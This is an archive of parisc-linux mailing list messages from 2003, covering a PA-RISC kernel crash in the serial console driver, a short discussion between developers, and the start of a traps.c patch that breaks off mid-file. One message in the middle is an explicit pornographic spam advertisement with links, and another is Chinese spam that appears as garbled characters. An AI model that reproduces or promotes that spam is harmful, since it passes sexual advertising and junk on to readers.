Serial: 8250/16550 driver $Revision: 1.90 $ IRQ sharing enabled

Stack Dump:
 10068758:  10068758 00000204 0000000f 00000000 
 10068748:  10389f44 00000000 10389f44 000000d0 
 10068738:  1fff9ba0 000000d0 00000001 1013f724 
 10068728:  00000001 000000d0 3b9aca00 10389810 
 10068718:  10458810 10389f44 00000201 100683c0 
 10068708:  0000000d 00000000 00000000 000000d0 
 100686f8:  1fff9ba0 000000d0 00000001 101067fc 
 100686e8:  00000001 00000000 1038a810 10068548 
 100686d8:  1ffe3f00 10389f44 00000201 00000001 
 100686c8:  1038a280 1006f7b0 00000010 000000d0 
 100686b8:  1fff9b2c 000000d0 00000001 1013f880 
 100686a8:  00000001 00000000 0000000b 1fff9b2c 
 10068698:  1fe08060 1046d0c4 00000000 10068288 
 10068688:  00000013 00000060 1fff9b2c 000000d0 
 10068678:  1fff9b2c 000000d0 00000001 10142d2c 
 10068668:  00000001 000000d0 3b9aca00 10389810 
 10068658:  10458810 f0400004 f00008c4 00000000 
 10068648:  1ffea300 1ffe3f00 1fff8400 000000d0 
 10068638:  1fff9b2c 000000d0 00000001 1013fb48 
 10068628:  00000001 000000d0 3b9aca00 10389810 
 10068618:  10389f44 1fe08060 1fff9b2c 000000d0 
 10068608:  1fe08000 000000d0 00000001 1006f7b0 
 100685f8:  10459010 1047662c 00000027 1010b088 
 100685e8:  10390ac8 00000000 0000001b 1fffdc60 
 100685d8:  1fff9b38 1fff9b2c 1ffe3f00 068e7780 
 100685c8:  3f7d9b03 1fe0bbd4 00400048 000000d0 
 100685b8:  1fff9b2c 000000d0 00000001 1018c78c 
 100685a8:  00000001 00000000 1038a810 10068408 
 10068598:  1fff4a80 00000000 1a06836c 10240000 
 10068588:  b3202000 0000000f fffffff4 1006f7b0 
 10068578:  10459010 00000000 1006cb70 101e9310 
 10068568:  101e930c 00000000 00000000 00000000 
 10068558:  00000000 00000000 00000000 00000000 
 10068548:  00000000 00000000 00000000 55555555 
 10068538:  55555555 55555555 55555555 55555555 
 10068528:  55555555 55555555 55555555 55555555 
 10068518:  55555555 55555555 55555555 55555555 
 10068508:  55555555 55555555 55555555 55555555 
 100684f8:  55555555 55555555 55555555 55555555 
 100684e8:  55555555 55555555 55555555 55555555 
 100684d8:  55555555 55555555 55555555 55555555 
 100684c8:  55555555 55555555 55555555 55555555 
 100684b8:  55555555 55555555 55555555 55555555 
 100684a8:  55555555 55555555 55555555 55555555 
 10068498:  55555555 55555555 55555555 55555555 
 10068488:  55555555 55555555 55555555 55555555 
 10068478:  55555555 55555555 55555555 55555555 
 10068468:  55555555 00000000 00000000 00000000 
 10068458:  0000001f 00000000 0000001f 00000000 
 10068448:  0000001f 24850e06 04100800 10210928 
 10068438:  100683c0 068e7780 00000000 10372010 
 10068428:  00000000 00000000 00000000 00000000 
 10068418:  00000cb0 41000000 00000000 00009600 
 10068408:  f0000174 f000017c f00008c4 f0400004 
 100683f8:  10458810 10389810 3b9aca00 10458884 
 100683e8:  37e45480 00000000 00000027 10388810 
 100683d8:  00000013 10068288 00000000 1046d0c4 
 100683c8:  10215854 ffffffff 0004ff0f 000000d0 
 100683b8:  104768c8 000000d0 00000001 1018d3cc 
 100683a8:  00000001 000000d0 10355e84 1046d0c4 
 10068398:  103952b8 10068288 00000013 10388810 
 10068388:  00000027 00000000 37e45480 000000d0 
 10068378:  10476610 000000d0 00000001 10215904 
 10068368:  00000001 00400048 10068248 1fe0bc14 

Kernel addresses on the stack:
 [<10142d2c>] cache_init_objs+0xb8/0xc0
 [<10106220>] parisc_terminate+0x60/0xb8
 [<1013f724>] buffered_rmqueue+0xd8/0x164
 [<101067fc>] handle_interruption+0x584/0x5bc
 [<1013f880>] __alloc_pages+0xd0/0x374
 [<10142d2c>] cache_init_objs+0xb8/0xc0
 [<1013fb48>] __get_free_pages+0x24/0x78
 [<1010b088>] intr_check_sig+0x0/0xc
 [<1018c78c>] sysfs_new_inode+0x20/0xb0
 [<101e9310>] $$divU+0x10/0x210
 [<1018d3cc>] sysfs_create_dir+0x3c/0x80
 [<10215904>] serial8250_set_termios+0xa4/0x314
 [<101e56a8>] create_dir+0x4c/0x64
 [<103e5a7c>] uart_set_options+0xec/0x14c
 [<1021ba68>] driver_attach+0x70/0xa4
 [<103e5cd8>] serial8250_console_setup+0xa8/0xbc
 [<1021bcf8>] bus_add_driver+0xa0/0xa8
 [<10126388>] register_console+0x1b0/0x214
 [<1021c05c>] driver_register+0x48/0x54
 [<103e5d0c>] serial8250_console_init+0x20/0x30
 [<103e65fc>] serial8250_pci_init+0x38/0x68
 [<103d5438>] do_initcalls+0x58/0xdc
 [<10100440>] init+0x28/0xd4
 [<1010ac5c>] ret_from_kernel_thread+0x1c/0x24


Unexpected interruption: Code=13 regs=100683c0 (Addr=00000000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111111100001111 Not tainted
r00-03  00000000 ffffffff 10215854 1046d0c4
r04-07  00000000 10068288 00000013 10388810
r08-11  00000027 00000000 37e45480 10458884
r12-15  3b9aca00 10389810 10458810 f0400004
r16-19  f00008c4 f000017c f0000174 00009600
r20-23  00000000 41000000 00000cb0 00000000
r24-27  00000000 00000000 00000000 10372010
r28-31  00000000 068e7780 100683c0 10210928
sr0-3   00000000 00000000 00000000 00000000
sr4-7   00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 101e930c 101e9310
 IIR: b3202000    ISR: 10240000  IOR: 1a06836c
 CPU:        0   CR30: 10068000 CR31: 103cb000
 ORIG_R28: 10459010
 IAOQ[0]: $$divU+0xc/0x210
 IAOQ[1]: $$divU+0x10/0x210
 RP(r2): serial8250_get_divisor+0x44/0x50

hth,
    joel

PS: kernel was build with 'make defconfig' configuration and gcc:
palinux:~# gcc --version
gcc (GCC) 3.3.2 20030908 (Debian prerelease)
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test6-pa6 on b2k finaly crash
Date: Fri, 3 Oct 2003 16:31:48 +0100 (IST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0310031624140.12322@sal.ucc.ie>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622843 32001 80.91.229.3 (22 Nov 2014 02:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 09:31:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 092CA4866
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Oct 2003 09:31:51 -0600 (MDT)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id h93FVnRK012732;
	Fri, 3 Oct 2003 16:31:49 +0100
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19721

On Fri, 3 Oct 2003, Joel Soete wrote:

> I am also happy that with 2.6.0-test6-pa6 b2k crash because it is a long
> time that I try to obtain a relevant info (even toc do not help until now).

You mean to be able to track down the serial console bug?

> And here is the full boot messages:

[removed dmesg output]

Similar to my output.

> PS: kernel was build with 'make defconfig' configuration and gcc:
> palinux:~# gcc --version
> gcc (GCC) 3.3.2 20030908 (Debian prerelease)

Same here.

I was wondering whether it was just me (wrong config) or the 2.6 wasn't
working on C3k in general. Then I read on the mailing lists archive that
the serial console is not working for the C3k.

For that reason I was never able to test/run a 2.5/2.6 kernel, since
I don't have a STIcon (no graphics card).
Well, I think you can just compile no console at all and it will use a
dummy console AFAIK, but never tried that (not brave enough). Would you
be able to run 2.6 in that case?

Thanks
  Max


From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test6-pa6 on b2k finaly crash
Date: Fri, 3 Oct 2003 17:52:42 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000CC43@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0310031624140.12322@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622843 32004 80.91.229.3 (22 Nov 2014 02:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 09:52:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5ADE44845
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Oct 2003 09:52:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A5SEV-0003aj-00; Fri, 03 Oct 2003 17:52:43 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 3 Oct 2003 17:52:42 +0200
In-Reply-To: <Pine.LNX.4.58.0310031624140.12322@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19722

>> I am also happy that with 2.6.0-test6-pa6 b2k crash because it is a long
>> time that I try to obtain a relevant info (even toc do not help until
now).
>
>You mean to be able to track down the serial console bug?
>
>> And here is the full boot messages:
[snip]
>For that reason I was never able to test/run a 2.5/2.6 kernel, since
>I don't have a STIcon (no graphics card).

I don't have more on my b2k :(

>Well, I think you can just compile no console at all 
Yes I do it (a bit by accident) and so very surprise that I could connect
it via ssh or even telnet
> and it will use a dummy console AFAIK, but never tried that (not brave

> enough). Would you be able to run 2.6 in that case?

No yet try neither dummy console nor lan console (for this last i would like
to find back the soft to be installed on another server but i do not yet
find enough time :( )

Regards,
    Joel

Thanks

> Max



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6.0-test6-pa6 on b2k finaly crash
Date: Fri, 3 Oct 2003 17:52:42 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <3F5CB6FB0000CC42@ocpmta1.freegates.net>
References: <Pine.LNX.4.58.0310031624140.12322@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622843 32007 80.91.229.3 (22 Nov 2014 02:20:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 09:52:46 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout1.tiscali.be (cpout1.tiscali.be [62.235.13.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7AECC4879
	for <parisc-linux@lists.parisc-linux.org>; Fri,  3 Oct 2003 09:52:46 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 1A5SEW-0003ai-00; Fri, 03 Oct 2003 17:52:44 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Fri, 3 Oct 2003 17:52:42 +0200
In-Reply-To: <Pine.LNX.4.58.0310031624140.12322@sal.ucc.ie>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19723

>> I am also happy that with 2.6.0-test6-pa6 b2k crash because it is a long
>> time that I try to obtain a relevant info (even toc do not help until
now).
>
>You mean to be able to track down the serial console bug?
>
>> And here is the full boot messages:
[snip]
>For that reason I was never able to test/run a 2.5/2.6 kernel, since
>I don't have a STIcon (no graphics card).

I don't have more on my b2k :(

>Well, I think you can just compile no console at all 
Yes I do it (a bit by accident) and so very surprise that I could connect
it via ssh or even telnet
> and it will use a dummy console AFAIK, but never tried that (not brave

> enough). Would you be able to run 2.6 in that case?

No yet try neither dummy console nor lan console (for this last i would like
to find back the soft to be installed on another server but i do not yet
find enough time :( )

Regards,
    Joel

Thanks

> Max



-------------------------------------------------------------------------
L'Internet rapide, c'est pour tout le monde. Tiscali ADSL, 19,50 Euro
pendant 3 mois! http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:29:27 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Abe Thurman" <ljg645ft@aol.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Hey
Date: Sat, 04 Oct 03 07:47:01 GMT
Lines: 52
Approved: news@gmane.org
Message-ID: <2h$xz25$$a-1--$756oo0pzh-9a@6nufpx>
Reply-To: "Abe Thurman" <ljg645ft@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="2_EF_1._2D61_8.5B5F"
X-Trace: ger.gmane.org 1416622844 32010 80.91.229.3 (22 Nov 2014 02:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:44 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct  3 23:52:44 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pcp03884998pcs.radnor01.pa.comcast.net (pcp03884998pcs.radnor01.pa.comcast.net [68.32.19.21])
	by dsl2.external.hp.com (Postfix) with SMTP id 1E64D4845
	for <parisc-linux@parisc-linux.org>; Fri,  3 Oct 2003 23:52:40 -0600 (MDT)
Original-Received: from [22.76.83.147]
	by pcp03884998pcs.radnor01.pa.comcast.net id <4624168-27592>;
	Sat, 04 Oct 2003 07:47:01 +0500
X-Mailer: AOL 7.0 for Windows US sub 118
X-Priority: 3
X-MSMail-Priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19724

--2_EF_1._2D61_8.5B5F
Content-Type: text/html;
Content-Transfer-Encoding: quoted-printable

<body bgcolor=3D"#FFFFFF" text=3D"#000000" link=3D"#333399" vlink=3D"#3333=
99" alink=3D"#333399">
&nbsp;
<table width=3D"527" cellspacing=3D"0" cellpadding=3D"0" height=3D"44" ali=
gn=3D"center" bgcolor=3D"#333399"><tr> 
    <td align=3D"center" valign=3D"middle"><font face=3D"Arial, Helvetica,=
 sans-serif" size=3D"6" color=3D"#FFFFFF"><b>Do
      you like REAL rough SEX?</b></font></td></tr></table>
<table width=3D"527" cellspacing=3D"0" cellpadding=3D"0" height=3D"201" al=
ign=3D"center" bgcolor=3D"#333399">
  <tr><td align=3D"center" valign=3D"top" bgcolor=3D"#333399" height=3D"17=
8"> 
      <table width=3D"525" cellspacing=3D"0" cellpadding=3D"0" height=3D"5=
9" align=3D"center" bordercolor=3D"#333399" border=3D"1">
        <tr><td align=3D"center" valign=3D"middle" bgcolor=3D"#FFFFFF" hei=
ght=3D"123"> 
<br>            <font color=3D"#000000" face=3D"Verdana, Arial, Helvetica,=
 sans-serif" size=3D"2"><a href=3D"http://www.freemember.us/tbc/index.html=
">Taboo
Bizarre</a>, the site for the most extreme strange sex!! Watch the girls
            dominate and spank the most unsuspecting men!!<br><br>- Strang=
e XXX Porn Video's<br>-
            Over 100'000 Pictures<br>-
            Chat live with sluts<br>-
            Hot live bondage shows<br><br>
            Pussy shaving, Huge insertions, Gaping Anal Sex, Breast milkin=
g, Drunk whores, Vegetable fucking and even fun with
            Midgets!<br>
              <br></font> <i><a href=3D"http://www.freemember.us/tbc/index=
html">&quot;At Taboo Bizarre they have sexual video more
            BIZARRE then you've ever seen in your entire life!&quot;</a></=
i><br><br>
            </td></tr></table></td></tr></table>&nbsp;
<table width=3D"527" cellspacing=3D"0" cellpadding=3D"0" height=3D"33" ali=
gn=3D"center" bgcolor=3D"#333399">
  <tr>
    <td align=3D"center" valign=3D"middle">
      <p align=3D"center"><b><a href=3D"http://www.freemember.us/tbc/index=
html"><font color=3D"#FFFF00" face=3D"Verdana, Arial, Helvetica, sans-ser=
if" size=3D"2">CLICK
      HERE to see the most BIZARRE SEX you have ever seen!</font></a></b><=
/p>
    </td></tr>
</table></body>

--2_EF_1._2D61_8.5B5F--



From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "﹫˾" <imienm@163.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ע۹˾
Date: Sun, 5 Oct 2003 13:02:57 +0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20031005045856.782194845@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="GB2312"
X-Trace: ger.gmane.org 1416622844 32014 80.91.229.3 (22 Nov 2014 02:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:44 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  4 22:58:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from lee (unknown [218.18.70.91])
	by dsl2.external.hp.com (Postfix) with SMTP id 782194845
	for <parisc-linux@lists.parisc-linux.org>; Sat,  4 Oct 2003 22:58:56 -0600 (MDT)
X-Priority: 3
X-Mailer: JiXing mailer V1.75 Design By JohnnieHuang
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19725

𾴵Ŀͻ
    Ǻã
    ޹˾רҵڵ
ʿע۹˾Ͼɵĵӵ
һ۹˾Ϊҵıע
۹˾,ֻṩϹʿ֤
ӡ,õֻͣǧңѯ
          ϵˣ
          ϵ绰0755-82310342  82310351
          ʣszgslh@163.com
          ַwww.welldone-ac.com.hk
          ַ޺찲ʴB2705


============================ʼ޹=============================

 http://www.chinamysql.com  רҵṩɻ˿

ǿײͣ100MͶ1010Mҵ䣬20318Ԫ/꣡


֤ȯͶ http://3long.sayba.com ΪṩרҵƷڹֻ588Ԫͼֵ1800ԪƷ

˵̳ http://shop.sayba.com ȫǳֱƷ۵Ʒ繺ĺȥ


ʹüʼȺͨʼֱԷ䣬ٶȾһ

ַhttp://www.lovexin.comĳŶ


From - Thu Nov 08 21:29:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] traps.c 2.4 alignement [was: 2.6.0-test6-pa6 on b2k finaly crash]
Date: Sun, 05 Oct 2003 15:06:48 +0000
Lines: 479
Approved: news@gmane.org
Message-ID: <3F803388.5090304@tiscali.be>
References: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------030403020700060302040201"
X-Trace: ger.gmane.org 1416622844 32016 80.91.229.3 (22 Nov 2014 02:20:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:20:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>,
	Carlos O'Donell <carlos@baldric.uwo.ca>, "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  5 09:07:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA4894845
	for <parisc-linux@lists.parisc-linux.org>; Sun,  5 Oct 2003 09:07:00 -0600 (MDT)
Original-Received: from [62.235.120.180] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1A6ATH-0005M2-Fw; Sun, 05 Oct 2003 17:06:55 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030930 Debian/1.4-5
X-Accept-Language: en
In-Reply-To: <3F5CB6FB0000CBFC@ocpmta1.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19726

This is a multi-part message in MIME format.
--------------030403020700060302040201
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Joel Soete wrote:

>I am also happy that with 2.6.0-test6-pa6 b2k crash because it is a long
>time that I try to obtain a relevant info (even toc do not help until now).
>And here is the full boot messages:
>  
>
[...]

>
>Unexpected interruption: Code=13 regs=100683c0 (Addr=00000000)
>
>     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>PSW: 00000000000001001111111100001111 Not tainted
>r00-03  00000000 ffffffff 10215854 1046d0c4
>r04-07  00000000 10068288 00000013 10388810
>r08-11  00000027 00000000 37e45480 10458884
>r12-15  3b9aca00 10389810 10458810 f0400004
>r16-19  f00008c4 f000017c f0000174 00009600
>r20-23  00000000 41000000 00000cb0 00000000
>r24-27  00000000 00000000 00000000 10372010
>r28-31  00000000 068e7780 100683c0 10210928
>sr0-3   00000000 00000000 00000000 00000000
>sr4-7   00000000 00000000 00000000 00000000
>
>IASQ: 00000000 00000000 IAOQ: 101e930c 101e9310
> IIR: b3202000    ISR: 10240000  IOR: 1a06836c
> CPU:        0   CR30: 10068000 CR31: 103cb000
> ORIG_R28: 10459010
> IAOQ[0]: $$divU+0xc/0x210
> IAOQ[1]: $$divU+0x10/0x210
> RP(r2): serial8250_get_divisor+0x44/0x50
>
>  
>
Hi Carlos and all,

Regarding a bit more about this crash dump, I figure out that your patch 
<http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017565.html> 
was not yet 'aligned' in 2.6.
So may I suggest you this first draft:
--- linux-2.6.0-test6-pa6.orig/arch/parisc/kernel/traps.c       
2003-10-05 16:03:42.000000000 +0200
+++ linux-2.6.0-test6-pa6.test/arch/parisc/kernel/traps.c       
2003-10-05 16:05:24.000000000 +0200
@@ -44,7 +44,7 @@
 #define PRINT_USER_FAULTS /* (turn this on if you want user faults to be */
                          /*  dumped to the console via printk)          */

-int printbinary(char *buf, unsigned long x, int nbits)
+static int printbinary(char *buf, unsigned long x, int nbits)
 {
        unsigned long mask = 1UL << (nbits - 1);
        while (mask != 0) {
@@ -408,7 +408,7 @@


 /*
- * This routine handles page faults.  It determines the address,
+ * This routine handles various exception codes.  It determines the 
address,
  * and the problem, and then passes it off to one of the appropriate
  * routines.
  */
@@ -429,8 +429,18 @@
